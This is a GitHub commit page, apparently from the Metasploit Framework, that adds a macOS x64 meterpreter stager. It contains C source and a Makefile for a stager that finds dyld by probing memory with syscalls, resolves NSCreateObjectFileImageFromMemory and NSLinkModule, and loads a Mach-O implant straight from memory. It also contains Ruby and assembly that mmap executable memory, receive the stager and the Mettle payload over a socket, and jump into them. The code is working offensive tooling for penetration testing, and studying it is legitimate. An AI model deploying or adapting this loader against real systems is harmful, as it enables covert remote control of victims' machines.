Skip to content

Commit 46a4555

Browse files
committed
add osx x64 stager
1 parent 44fbb17 commit 46a4555

File tree

3 files changed

+340
-30
lines changed

3 files changed

+340
-30
lines changed
Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
CFLAGS=-fno-stack-protector -fomit-frame-pointer -fno-exceptions -fPIC -O0
2+
SDK=`xcrun --sdk iphoneos --show-sdk-path`
3+
GCC_BIN=`xcrun --sdk iphoneos -f gcc`
4+
GCC_BASE=$(GCC_BIN) $(CFLAGS) -Wimplicit -isysroot $(SDK)
5+
GCC=$(GCC_BASE) -arch arm64
6+
7+
SDK_OSX=`xcrun --sdk macosx --show-sdk-path`
8+
GCC_BIN_OSX=`xcrun --sdk macosx -f gcc`
9+
GCC_BASE_OSX=$(GCC_BIN_OSX) -Os $(CFLAGS)
10+
GCC_OSX=$(GCC_BASE_OSX) -arch x86_64
11+
12+
all: clean main_ios main_osx
13+
14+
main_ios: main.c
15+
$(GCC) -o $@ $^
16+
ldid -S $@
17+
18+
main_osx: main.c
19+
$(GCC_OSX) -o $@ $^
20+
21+
install: main_osx
22+
cp main_osx ../../../../../data/meterpreter/x64_osx_stage
23+
24+
shellcode: install
25+
otool -tv main_osx
26+
27+
clean:
28+
rm -f *.o main_ios main_osx
29+
Lines changed: 238 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,238 @@
1+
#include <stdio.h>
2+
#include <string.h>
3+
4+
#include <mach-o/loader.h>
5+
#include <mach-o/nlist.h>
6+
#include <mach-o/dyld.h>
7+
8+
#include <sys/types.h>
9+
10+
typedef NSObjectFileImageReturnCode (*NSCreateObjectFileImageFromMemory_ptr)(void *address, unsigned long size, NSObjectFileImage *objectFileImage);
11+
typedef NSModule (*NSLinkModule_ptr)(NSObjectFileImage objectFileImage, const char* moduleName, unsigned long options);
12+
13+
uint64_t find_macho(uint64_t addr, unsigned int increment, unsigned int dereference);
14+
uint64_t find_symbol(uint64_t base, char* symbol);
15+
uint64_t find_entry_offset(struct mach_header_64 *mh);
16+
int string_compare(const char* s1, const char* s2);
17+
18+
/*#define DEBUG*/
19+
#ifdef DEBUG
20+
static void print(char * str);
21+
#endif
22+
23+
int main(int argc, char** argv)
24+
{
25+
#ifdef DEBUG
26+
print("main!\n");
27+
#endif
28+
uint64_t buffer = 0;
29+
uint64_t buffer_size = 0;
30+
__asm__(
31+
"movq %%r10, %0;\n"
32+
"movq %%r12, %1;\n"
33+
: "=g"(buffer), "=g"(buffer_size));
34+
35+
#ifdef DEBUG
36+
print("hello world!\n");
37+
#endif
38+
39+
uint64_t binary = find_macho(0x100000000, 0x1000, 0);
40+
if (!binary) {
41+
return 1;
42+
}
43+
uint64_t dyld = find_macho(binary + 0x1000, 0x1000, 0);
44+
if (!dyld) {
45+
return 1;
46+
}
47+
48+
NSCreateObjectFileImageFromMemory_ptr NSCreateObjectFileImageFromMemory_func = (void*)find_symbol(dyld, "_NSCreateObjectFileImageFromMemory");
49+
if (!NSCreateObjectFileImageFromMemory_func) {
50+
return 1;
51+
}
52+
#ifdef DEBUG
53+
print("good symbol!\n");
54+
#endif
55+
56+
NSLinkModule_ptr NSLinkModule_func = (void*)find_symbol(dyld, "_NSLinkModule");
57+
if (!NSLinkModule_func) {
58+
return 1;
59+
}
60+
61+
/*if (*(char*)buffer == 'b') {*/
62+
/*print("magic b!\n");*/
63+
/*}*/
64+
*(char*)buffer = '\xcf';
65+
((uint32_t *)buffer)[3] = MH_BUNDLE;
66+
67+
NSObjectFileImage fi = 0;
68+
if (NSCreateObjectFileImageFromMemory_func((void*)buffer, buffer_size, &fi) != 1) {
69+
return 1;
70+
}
71+
#ifdef DEBUG
72+
print("created!\n");
73+
#endif
74+
75+
NSModule nm = NSLinkModule_func(fi, "", NSLINKMODULE_OPTION_PRIVATE | NSLINKMODULE_OPTION_BINDNOW | NSLINKMODULE_OPTION_RETURN_ON_ERROR);
76+
if (!nm) {
77+
#ifdef DEBUG
78+
print("no nm!\n");
79+
#endif
80+
return 1;
81+
}
82+
#ifdef DEBUG
83+
print("good nm!\n");
84+
#endif
85+
86+
uint64_t execute_base = (uint64_t)nm;
87+
execute_base = find_macho(execute_base, sizeof(int), 1);
88+
89+
uint64_t entry_off = find_entry_offset((void*)execute_base);
90+
if (!entry_off) {
91+
return 1;
92+
}
93+
uint64_t entry = (execute_base + entry_off);
94+
int(*main_func)(int, char**) = (int(*)(int, char**))entry;
95+
char* socket = (char*)(size_t)argc;
96+
char *new_argv[] = { "m", socket, NULL };
97+
int new_argc = 2;
98+
return main_func(new_argc, new_argv);
99+
}
100+
101+
uint64_t find_symbol(uint64_t base, char* symbol)
102+
{
103+
struct segment_command_64 *sc, *linkedit, *text;
104+
struct load_command *lc;
105+
struct symtab_command *symtab;
106+
struct nlist_64 *nl;
107+
108+
char *strtab;
109+
symtab = 0;
110+
linkedit = 0;
111+
text = 0;
112+
113+
lc = (struct load_command *)(base + sizeof(struct mach_header_64));
114+
for (int i=0; i<((struct mach_header_64 *)base)->ncmds; i++) {
115+
if (lc->cmd == LC_SYMTAB) {
116+
symtab = (struct symtab_command *)lc;
117+
} else if (lc->cmd == LC_SEGMENT_64) {
118+
sc = (struct segment_command_64 *)lc;
119+
char * segname = ((struct segment_command_64 *)lc)->segname;
120+
if (string_compare(segname, "__LINKEDIT") == 0) {
121+
linkedit = sc;
122+
} else if (string_compare(segname, "__TEXT") == 0) {
123+
text = sc;
124+
}
125+
}
126+
lc = (struct load_command *)((unsigned long)lc + lc->cmdsize);
127+
}
128+
129+
if (!linkedit || !symtab || !text) return -1;
130+
131+
unsigned long file_slide = linkedit->vmaddr - text->vmaddr - linkedit->fileoff;
132+
strtab = (char *)(base + file_slide + symtab->stroff);
133+
134+
nl = (struct nlist_64 *)(base + file_slide + symtab->symoff);
135+
for (int i=0; i<symtab->nsyms; i++) {
136+
char *name = strtab + nl[i].n_un.n_strx;
137+
/*#ifdef DEBUG*/
138+
/*print(name);*/
139+
/*print("\n");*/
140+
/*#endif*/
141+
if (string_compare(name, symbol) == 0) {
142+
return base + nl[i].n_value;
143+
}
144+
}
145+
146+
return -1;
147+
}
148+
149+
uint64_t syscall_chmod(uint64_t path, long mode)
150+
{
151+
uint64_t chmod_no = 0x200000f;
152+
uint64_t ret = 0;
153+
__asm__(
154+
"movq %1, %%rax;\n"
155+
"movq %2, %%rdi;\n"
156+
"movq %3, %%rsi;\n"
157+
"syscall;\n"
158+
"movq %%rax, %0;\n"
159+
: "=g"(ret)
160+
: "g"(chmod_no), "S"(path), "g"(mode)
161+
:);
162+
return ret;
163+
}
164+
165+
uint64_t find_macho(uint64_t addr, unsigned int increment, unsigned int pointer)
166+
{
167+
while(1) {
168+
uint64_t ptr = addr;
169+
if (pointer) {
170+
ptr = *(uint64_t *)ptr;
171+
}
172+
unsigned long ret = syscall_chmod(ptr, 0777);
173+
if (ret == 0x2 && ((int *)ptr)[0] == MH_MAGIC_64) {
174+
return ptr;
175+
}
176+
177+
addr += increment;
178+
}
179+
return 0;
180+
}
181+
182+
uint64_t find_entry_offset(struct mach_header_64 *mh)
183+
{
184+
struct entry_point_command *entry;
185+
struct load_command *lc = (struct load_command *)((void*)mh + sizeof(struct mach_header_64));
186+
for (int i=0; i<mh->ncmds; i++) {
187+
if (lc->cmd == LC_MAIN) {
188+
entry = (struct entry_point_command *)lc;
189+
return entry->entryoff;
190+
}
191+
192+
lc = (struct load_command *)((unsigned long)lc + lc->cmdsize);
193+
}
194+
195+
return 0;
196+
}
197+
198+
int string_compare(const char* s1, const char* s2)
199+
{
200+
while (*s1 != '\0' && *s1 == *s2)
201+
{
202+
s1++;
203+
s2++;
204+
}
205+
return (*(unsigned char *) s1) - (*(unsigned char *) s2);
206+
}
207+
208+
#ifdef DEBUG
209+
int string_len(const char* s1)
210+
{
211+
const char* s2 = s1;
212+
while (*s2 != '\0')
213+
{
214+
s2++;
215+
}
216+
return (s2 - s1);
217+
}
218+
219+
void print(char * str)
220+
{
221+
long write = 0x2000004;
222+
long stdout = 1;
223+
unsigned long len = string_len(str);
224+
unsigned long long addr = (unsigned long long) str;
225+
unsigned long ret = 0;
226+
/* ret = write(stdout, str, len); */
227+
__asm__(
228+
"movq %1, %%rax;\n"
229+
"movq %2, %%rdi;\n"
230+
"movq %3, %%rsi;\n"
231+
"movq %4, %%rdx;\n"
232+
"syscall;\n"
233+
"movq %%rax, %0;\n"
234+
: "=g"(ret)
235+
: "g"(write), "g"(stdout), "S"(addr), "g"(len)
236+
: "rax", "rdi", "rdx" );
237+
}
238+
#endif

modules/payloads/stages/osx/x64/meterpreter.rb

Lines changed: 73 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,49 @@ def initialize(info = {})
2828
end
2929

3030
def handle_intermediate_stage(conn, payload)
31+
stager_file = File.join(Msf::Config.data_directory, "meterpreter", "x64_osx_stage")
32+
data = File.binread(stager_file)
33+
macho = MachO::MachOFile.new_from_bin(data)
34+
main_func = macho[:LC_MAIN].first
35+
entry_offset = main_func.entryoff
36+
37+
output_data = ''
38+
for segment in macho.segments
39+
for section in segment.sections
40+
file_section = segment.fileoff + section.offset
41+
vm_addr = section.addr - 0x100000000
42+
section_data = data[file_section, section.size]
43+
if output_data.size < vm_addr
44+
output_data += "\x00" * (vm_addr - output_data.size)
45+
end
46+
if section_data
47+
output_data[vm_addr, output_data.size] = section_data
48+
end
49+
end
50+
end
51+
3152
midstager_asm = %(
53+
push rdi ; save sockfd
54+
xor rdi, rdi ; address
55+
mov rsi, #{output_data.length} ; length
56+
mov rdx, 0x7 ; PROT_READ | PROT_WRITE | PROT_EXECUTE
57+
mov r10, 0x1002 ; MAP_PRIVATE | MAP_ANONYMOUS
58+
xor r8, r8 ; fd
59+
xor r9, r9 ; offset
60+
mov eax, 0x20000c5 ; mmap
61+
syscall
62+
63+
mov r12, rax
64+
65+
mov rdx, rsi ; length
66+
mov rsi, rax ; address
67+
pop rdi ; sockfd
68+
mov r10, 0x40 ; MSG_WAITALL
69+
xor r8, r8 ; srcaddr
70+
xor r9, r9 ; addrlen
71+
mov eax, 0x200001d ; recvfrom
72+
syscall
73+
3274
push rdi ; save sockfd
3375
xor rdi, rdi ; address
3476
mov rsi, #{payload.length} ; length
@@ -48,43 +90,44 @@ def handle_intermediate_stage(conn, payload)
4890
mov eax, 0x200001d ; recvfrom
4991
syscall
5092
51-
mov rax, #{@entry_offset}
93+
mov r10, rsi
94+
95+
; setup stack?
96+
and rsp, -0x10 ; Align
97+
add sp, 0x40 ; Add room for initial stack and prog name
98+
mov rax, 109 ; prog name "m"
99+
push 0 ;
100+
mov rcx, rsp ; save the stack
101+
push 0
102+
push 0
103+
push 0
104+
push 0
105+
push 0
106+
push 0
107+
push rdi ; ARGV[1] int sockfd
108+
push rcx ; ARGV[0] char *prog_name
109+
mov rax, 2 ; ARGC
110+
push rax
111+
112+
mov rsi, r12
113+
mov r12, rdx
114+
115+
mov rax, #{entry_offset}
52116
add rsi, rax
53-
jmp rsi
117+
call rsi
54118
)
55-
56119
midstager = Metasm::Shellcode.assemble(Metasm::X64.new, midstager_asm).encode_string
57-
print_status("Transmitting intermediate stager...(#{midstager.length} bytes)")
120+
print_status("Transmitting first stager...(#{midstager.length} bytes)")
121+
58122
conn.put(midstager) == midstager.length
123+
print_status("Transmitting second stager...(#{output_data.length} bytes)")
124+
conn.put(output_data) == output_data.length
59125
end
60126

61127
def generate_stage(opts = {})
62-
data = MetasploitPayloads::Mettle.new('x86_64-apple-darwin',
128+
mettle_macho = MetasploitPayloads::Mettle.new('x86_64-apple-darwin',
63129
generate_config(opts.merge({scheme: 'tcp'}))).to_binary :exec
64-
65-
#data = File.binread("/Users/user/dev/git/darwin-stager/main_osx")
66-
#data = File.binread("/Users/user/dev/git/ios/shellcc/shellcode/shelltest64")
67-
#data = File.binread("/usr/bin/yes")
68-
macho = MachO::MachOFile.new_from_bin(data)
69-
main_func = macho[:LC_MAIN].first
70-
@entry_offset = main_func.entryoff
71-
72-
output_data = ''
73-
for segment in macho.segments
74-
for section in segment.sections
75-
file_section = segment.fileoff + section.offset
76-
vm_addr = section.addr - 0x100000000
77-
section_data = data[file_section, section.size]
78-
if output_data.size < vm_addr
79-
output_data += "\x00" * (vm_addr - output_data.size)
80-
end
81-
if section_data
82-
output_data[vm_addr, output_data.size] = section_data
83-
end
84-
end
85-
end
86-
87-
output_data += "\x00" * (0x1000 - (output_data.size % 0x1000))
88-
output_data
130+
mettle_macho[0] = 'b'
131+
mettle_macho
89132
end
90133
end

0 commit comments

Comments
 (0)